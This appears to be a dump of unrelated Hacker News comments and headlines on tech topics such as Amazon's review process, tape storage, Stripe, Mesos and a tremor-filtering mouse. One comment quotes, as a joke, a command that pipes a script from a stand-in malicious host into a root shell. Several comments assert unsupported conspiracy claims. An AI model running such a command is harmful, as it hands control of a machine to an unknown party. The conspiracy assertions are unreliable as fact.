skysight-inc/HackerNews huggingface dataset:
The media have been very critical of Amazon's review process, partially fairly, but mostly not.

At the end of every year, I picked 5-10 people I wanted feedback from- teammates, people I've worked closely with, or people I genuinely wanted to get opinions from. They'd each receive an email that I'd requested their feedback and I'd receive around 10 requests for feedback from everyone who asked for mine. The only mandatory one: everyone reviews their boss.

As well, at any time throughout the year, "Anytime" feedback of an identical nature could be sent in. Usually, I sent these when someone had done something amazing and I worried I'd forget it before review time, or I don't work with them often.

Important to note: I can't ever read feedback given to me. I don't even know if anyone I requested feedback from actually gave it or not.

Each review itself took a lot of time to write, 20 to 60 minutes was normal for me. Everything was asked to be phrased in this way: Situation (what's the background on what happened?), Behavior (what did the person do?), Impact (what was the outcome, effect, etc?). You were expected to give a few good examples and a few bad examples.

At the end of all of this review writing, my manager would read through all of my feedbacks, and compile them into a single overall review with the common themes from many reviews.

Downside: bad managers exist. Here's one person who makes the entire decision and he's the only one reading your reviews. That's a lot of power and you need to trust your manager not to abuse it.
Also, that feedback is anonymous to you. If someone is trying to sabotage you, you'd never know- but your manager would, as they can read who sent it.

Upside: if you're into personal growth, an annual review is candy. Here's an aggregate view of where you need to do better. With a good manager filtering out bullshit and finding the real patterns that matter, you got so much out of this.

On the other hand, it took like 2 days to write reviews, and you'd lose your manager for a week or two while he read and compiled.

Of course, I say all this and should be using past tense: due in large part to the media complaining that Amazonians are encouraged to "rat each other out", and that the feedback system was actually a toxic part of the culture, the company got rid of it all. Now you can only say short, nice things about each other and your manager has even more power that he'll never have to justify.

It was good while it lasted.
Very cool! One minor nitpick -- the author mentions that this is 'completely unsupervised'. It's true that the author didn't need to manually classify the data, but someone did.

So, I believe that this is actually supervised learning, as the author is training a classifier on preexisting labels (the genres).

I believe that unsupervised learning would not make use of a target variable at all. If the network architecture terminated at the fully connected layer, and then propagated that layer backwards to reconstruct the input (something like Contrastive Divergence), that would be an unsupervised method.
>Even the main Amazon shopping app is less than 100mb.

109 on my device, not sure why it needs over 100 for a menu/search and checkout function that relies entirely on external data.

Also another commenter said Alexa was 78 when it's 124 for me and does even less than the shopping app.
Honest question: are tape drives fast enough for use in any asynchronous/random-access environment, or are they generally limited to backups, financial and scientific data? For example, could something like Youtube rely on tapes as the tail end of a LRU cache or similar?
Right. Just to elaborate, there is a difference between quality and quantity of heat. A red hot nail has high quality but low quantity. A hot bath has low quality but high quantity. Data center waste heat is like bath water.
What Is Ray Kurzweil Up to at Google?
It's already pretty difficult for magazines and pdf files to gain a significant audience on YouTube.
The ORC Unwinder
Yeah. Aesthetically speaking, I really dislike wristwatches. But I want that fitness tracking and haptic reminders badly. If they get a good calorie counter in the form of the rumored glucose monitoring (I’m not sure if it could be used for that) I’m sold.
How to do more with your time with a simple click
Faraday Future has been reneging on factories it hasn’t yet built
I have a Fitbit Charge 2. I wear the Fitbit on my right arm and my watch on my left, but I think it looks pretty stupid.
That's mostly linear algebra, probability theory and calculus. You're going to have a difficult time self-studying all of that if you haven't had much exposure to it.

Books are probably a less efficient method of learning the mathematics if you have targeted subjects you want to learn about. They're typically suited to introductions and breadth-wise coverage of fields, but once you get higher up, "linear algebra" (for example) can get fuzzy with things like abstract algebra. That means you'll end up with several tome-like books to work through which can be productive, but it'll take a while and you'll need to map the material to the applications you're interested in on your own. It's more efficient to develop a good baseline of understanding about a broad subject area, learn the foundational theorems, then move on to the specific areas you need to learn. This is typically doable if you've developed the requisite mathematical maturity overall and if you have learned the "essentials."

Practically speaking: maybe pick up foundation texts like Strang's (linear algebra), Spivak's (calculus) and Ross' (probability theory). You're going to want a solid foundation in analysis before moving on to higher order probability theory, so drill down on that after you do a refresher on the calculus. From there you should attempt to read each paper (even if you struggle a lot), take notes on what confuses you or doesn't make sense, read the prior art on those topics and then come back to it.

I don't particularly read machine learning papers often, but I read mathematical cryptographic ones very often (at least once per day I find myself in a new one). It's not typical that I read a research paper introducing a novel primitive or construction where I follow the math immediately on a single pass, and I often come across things I need to read about first. From a thirty thousand foot view the math for both of these subjects is broadly similar in rough topical surface area, so I think this methodology for academic reading is fairly applicable to most subjects that involve a lot of mathematics understanding.

Basically: don't approach learning the heavy math with a monolithic, brute-force approach as if you were in university. That's a slog and it's demotivating. Learn the minimum foundation for each area you need, then proceed to more advanced topics as you need them.
Which just means "people similar to you who like x also like y".

This does make a lot more sense than analyzing the audio of the music IMO. For example youtube does this okay and if you look for a Mazzy Star song after watching Ricky and Morty (a tv show), it will recommend other Ricky and Morty soundtracks even if the style is completely different. This isn't something you can predict with just audio data.
there are two known methods, acrylonitrile and bacteria as per this article https://en.wikipedia.org/wiki/Monosodium_glutamate#Productio...
curl http://bad.domain.com | sudo sh

naturally

To be fair, we put our payloads on S3 and tell our universal executor to fetch & unpack them & run a configured command. We successfully wrote an xargs-replacement as a Mesos framework which worked pretty well.
We use Slack
Show HN: Feedly exporter for Prometheus
thanks for this context; i read this thread previously and had no idea of the "why" behind the news item. great comment to understand better.
China is perfecting a new method for suppressing dissent on the internet
Grokking Diesel, Rust's ORM
I think they did eventually. I remember trying to use Stripe for a project during college (2012ish) that involved building a website with a REST integration in C#. My rtfm'ing skills were much worse back then so I could be wrong, but yeah, you had to do a bunch of server-side implementation and make calls to their API. It seemed quite challenging to me at the time, but looking back, it really wasn't. They've gotten rid of that extra step now though. You can just drop in the javascript and their html form with api keys and you're ready to go.
Many people back then read his manifesto. However even then there was no wave of terror based on his core writings and the most radical ones are still popular on conspiracy boards. Still nobody is getting radicalized by it.

This is not a conspiracy board here. People here would me the enemies of this guy and we all see that he was wrong now. So what are you afraid of?
The Blaze still has a clock though, as far as I can tell.

I have a (very modest) collection of watches that I enjoy wearing but I also like the data collection of a Fitbit.
Technology Usage for Mankind
I believe the fear is giving attention to people who do things we don't like is a reward, creating bad incentives.

Same reason suicide charities discourage newspapers from reporting the contents of suicide notes.
In Marathon you would specify it as a URI. See:

https://mesosphere.github.io/marathon/docs/application-basic...

The Mesos executor can run shell commands or Docker containers.
It's disappointing that the authors use the term "brute force" to describe modern SAT solving, in an article intended for people who may not be familiar with the algorithms used.

That term implies that the speed of the computer that was used to find the solution is the determining factor.

It is not. Modern SAT solvers use very elegant search algorithms that have enabled the solution of SAT-encoded problems that could never have been solved if only "brute force" was used.
my first programming language was logo. nice job dude!
You (and I) have been given very clear proof that the entirety of our digital technological world has been subverted by an ultra-elite class to serve their (secret) purposes.

The call for proof on individual cases is, of course, a valid one. But to overlook the fact that we have no way to put the genie back in the box - that, in fact, there are two computer worlds - one for us, and one for the elites - is to allow ourselves to be enslaved by secrets.

The secrets that Snowden gave us all have only really further served to enslave us all. We, the people, do not care. And now that we have demonstrated that we don't have the gumption to care about our own enslavement, the deal is sealed. Nobody is fighting back, because nobody is aware, because nobody wants to know the truth: the world has gone computer, and none of us have the keys. Only our masters do.
You've misunderstood my comment. I'm saying that Google has a reputation for claiming rights to just about anything you present to them. It's that petty IP policy that has this fun little project under their ownership. For many people, particularly those involved in open source, Google's reluctance to let go of employees' side projects is a strong reason to not work there.
Watch it at 1080, you'll see.... Or ball lightning starts off as a black blob.
Here is exactly what I said: We need to ensure opportunity all along the educational path. The current US system is blindingly obviously tilted.

Furthermore examples of equality of opportunity were having equal access to previous tests, equal access to quiet study areas, and financial aid so that students didn’t have to take on full time jobs to afford college.

None of these included norming test scores or norming job performance measures.
That product seems to have a marketing problem. I've heard plenty of PayPal horror stories over the years, but this thread is the first time I've ever heard of Payments Pro.
> troubling here for Americans

Fuck Americans. There is no such thing as America any more.

The machinations of America's secret, inner cabal effect all humans. America is a host species for a true parasite, and it is this parasite that we must defeat. Not America. And, if you are American, "the others" are no longer your enemy. Your true enemy, American, is in your own midst.

The time for the American context is well and truly past.
This[1] was linked to in the post.

I've been playing around with flutter, and saw a lot of code similar to this. Where is this style from? I've written apps in Java for Android but never encountered such style.

The post refers to this as problematic because developers fail to map the code spatially. While I agree, I also find this kind of code very unreadable and unelegant. I'm interested in what others think. Isn't this a part of the UX? It becomes a bit hard for me to maintain proper context with this way of writing code.

[1]: https://gist.github.com/anonymous/6dcf061bad914e1a0d18653eda...
Olixar’s Render Cases Suggest Removal of Headphone Jack from Google Pixel 2
According to https://en.wikipedia.org/wiki/Linear_Tape-Open#Positioning_t... , in the region of 50 seconds, which isn't really good enough.
I find it hard to decipher if her intentions are malicious or if she is just incredibly stupid and unwilling to learn.
Level up: How video games evolved to solve significant scientific problems
Because the ultraviolet-B component of sunlight is what allows your skin to create vitamin D, and glass blocks ultraviolet-B pretty effectively.
I honestly don't think so, the UK isn't important enough globally for WhatsApp to risk losing everything - look at what happened with them in Brazil, which is a larger WhatsApp market by a good bit.

A lot of this stuff feels like a vindication of how Indians make fun of Brits: foot stamping, bureaucratic, and out of touch with a world that has largely passed them by.
SEEKING WORK - Remote.

Currently based in Southern Ontario

I'm currently looking for back end development opportunities. I have experience in multiple languages, mainly in the Java stack, and have worked with companies ranging from brand new startups to world wide distrusted corporate teams. Also have some experience with Python, Scala, and system administration tasks as well.

Please contact me at creedis at gmail dot com
Freehand by InVision
I feel like if I had to video conference with one of my friends running Linux we would just use ffmpeg and ffplay.

It probably wouldn't be anymore reliable than all the other conference software but at least it doesn't drag a mountain of bullshit and lockin with it.

We just use email and in person meetings though, I still don't quite get the point behind video conferencing.
That doesn't exist in my Firefox on Android (54.0.1)
It is part of the fine print in the job contract for developers and is pretty common in most companies. You don't create a side project while being employed there without the company claiming ownership of it. It is part of a safety net for the companies so that they don't take a loss by an employee claiming copyright of code they wrote for the company during work hours.

According to law if there is no such clause the developer may claim ownership of code he wrote even if he was employed. The contract protects the company from that but also applies to any code written by employees generally (not a nice thing but prevalent).
I'm curious because it takes a lot of time and attention by moderators to keep the HN atmosphere as civil and informative as we experience now.

How are the moderators compensated? There are no ads or anything on HN.
blackjack? seems like an odd choice when roulette could give you a higher multiplier.
There's so much that can go wrong setting up a Linux server that it's impossible to give much advice with something like this.

I guess the general stuff is: the easy default partitioning setup you get from a Linux distro is total bs, you need more RAM than you think you do, the way you're serving files or accessing the system (NFS!) has plenty of ways to screw things up as well, and tens or hundreds of millions of files is not any filesystem's ideal use case. The classic IRIX workload would be guaranteed-rate streaming of large media files, and the Linux port of the filesystem obviously inherited a lot of that system's traits (without the GRIO).

XFS has received some very serious performance improvements in the past couple of years to address indexing, large volumes of metadata, and so on, so that'd be one very relevant thing. Dave Chinner's talks are worth the time to watch if you're interested. You would be giving bad advice if you steered people one way or the other with regard to filesystems based on a seven-year old project (unless you've refreshed that system much more recently, of course).
Fraud and charge backs are worse [with Stripe] than with PayPal.

https://news.ycombinator.com/item?id=14463971 (2 months ago)

Stripe launched a fraud detection tool in October 2016; not sure if this comment took that into account.

https://stripe.com/blog/radar (2016)

https://stripe.com/blog/better-dispute-management (2012)
> I can also see how it would be helpful for remote teams.

We had this arrangement once. A cube of four of us, had a big always-on tele-screen dialled into our remote team (four guys in another city). Fun at first but then we had to mute it (the background noise in both directions was very distracting, annoying to other employees). So we ended up in a farcical scenario of having it always on but relying on waving at the camera to get someone's attention, or IMing them, to unmute :)
I guess the concern is that other Western countries will get in on the act — TFA refers to Angela Merkel and Emmanuel Macron saying similar things so, given their level of influence within the bloc, it wouldn’t be hard to see a standard becoming EU-wide; we’ve already seen the FBI talk about compromising encryption (e.g. the San Bernardino iPhone).
Turtles in #lang typed/racket:

http://docs.racket-lang.org/furtle/index.html?q=turtle#%28de...
I do see what youre saying but that 1.3 million downloads is not unique. That number is mainly comprised of automated builds pulling in the package (either directly or transitively), not new devs trying it out.
So, is she threatening or bribing the tech companies?
Otherwise, I can't see why they would take any notice.
Why do you still work at this place? Like, this sounds insane to me, especially your friend being fired over management being bad.
Bluetooth notification watch sounds like Fitbit Blaze. Pebble's strengths IMHO were developer friendliness and always-on display.
Thanks for reminding me I can't get a full sized ipod classic anymore. It burns. :(
What most people don't know is that the US government experimented on him at the age of ~16 when he was a math undergrad at Harvard in project artichoke offshoot MK Ultra.
The thing is, I as an end user shouldn't need to look from both sides (where one side is predominantly of the FF developers or extension developers). I speak for my continued convenience of using Firefox as a browser which had an upper hand to Chrome to Chrome due to its extensions (as far as I'm concerned) which will end soon.
Biological Teleporter Could Speed Outbreak Response, Seed Life Through Galaxy
>surely the most frustrating, least intuitive module I've ever had the misfortune to encounter in Python.

Interesting... I've had the complete opposite experience. I've found it to be pretty intuitive and easy to use. Some of the documentation could certainly be better.
Yes it can detect errors, but it can't continue to function correctly (read: return the correct data) because it doesn't know which copy of the differing data is damaged because it doesn't have checksums.

Moreover, if it doesn't always read both copies of the data (which it may well not, for performance reasons), then you have the possibility of silently propagating damaged data to all mirrors in the case that damaged data is returned to an application and the application then rewrites said data.

Compare that to a filesystem with checksums, which, in addition to being able to detect such a problem, could also continue to function completely correctly in the face of it.
That's not been my observation when it comes to SPAs, responsive apps, etc. They tend to use fairly straightforward components, layout schemes, etc. For instance, if you look at the components/layout capabilities that come baked into the latest version of Bootstrap, you'll find a lot of bases covered.

Regardless, there's nothing that precludes you from wrapping any control you desire into an interface that makes it droppable and configurable through a GUI editor, then have it generate code. Likewise, for the creation of different layout managers, though in practice I don't think you'd find a ton of variability there. Most "experiences" boil down to grid-based and responsive.

So, I'm not sure which precise experiences you imagine couldn't be created. It's all just code. But, if there are some, then they'd be the exception, not the rule.
They don't. It's the same race we had at the start of the PC race. Most of the "optimizers" optimized themselves out of existence while twiddling bits in assembler.
The Whole Truth
DoS vulnerability in Varnish Cache
Has anyone run k8s recently on DCOS (1.9)?

We're running on Azure and have spent quite a bit of time and engineering on k8s. We're trying out DCOS for frameworks like Spark. We'd prefer not to run two container infrastructures if possible.

I looked at kubernetes-mesos, its installation wasn't as simple as "dcos package kubernetes" so I'm wondering if I'm going down a path of high resistance.
Show HN: A mouse for shaky hands
Hand tremors from Parkinson's disease and Essential Tremor can make using a computer mouse nearly impossible. The cursor not only flies everywhere but accidental clicks also result in unexpected actions being taken. This of course is extremely frustrating.

After my grandfather was diagnosed with Parkinson's in 2003-2004 I saw this first hand and consequently set about solving the problem in software. SteadyMouse was born.

The software contains both an anti-tremor motion rejection algorithm to keep things stable, and an accidental click blocking mechanism to only let through intended clicks.

The last two years were spent on a massive upgrade for a commercial version (in addition to the original free version).

Here's a gif of the filtering in action:
https://twitter.com/steadymouse/status/890794753637326848

The main site is here:
https://www.steadymouse.com/
Perhaps because normal glass blocks the UVB which stimulates vitamin D production? Similarly, you don't get sunburned indoors.

http://www.skincancer.org/healthy-lifestyle/vitamin-d/make-v...
What kind of read/write speeds are these tapes capable of?
That's a great point, actually. I suppose, rather ignorantly, I was talking with regard to the public as opposed to the corporations. Most Brits, at least, don't grasp the true implications of this sort of shit, and will buy into the spin about 'increased' security and terrorism prevention.
Are there any kind of FDA restrictions on that?
Thanks. Any indication why RH didn't hire btrfs devs? It looks like a decision was made that it wasn't strategic (obviously xfs on Linux has a much longer history).
So how do you decide on promotions, bonuses, raises, etc? All of that has to happen via some process. If you're not doing any kind of performance reviews then you're allowing managers to do it arbitrarily.
Kite Dev Tool Drops Atom Bomb
i still have one but have no idea what to use it for. google play on my phone + sonos satisfies all of my music needs.
> I wonder if the commercial forces in the rest of the music world seem to prevent this kind of community building.

SoundCloud has (for whatever reason) prohibited archivists like archive.org and ArchiveTeam from backing it up. https://twitter.com/textfiles/status/888093838107189249

Jason Scott Wikipedia article, if you don't know who he is: https://en.wikipedia.org/wiki/Jason_Scott
More like Faraday Failure.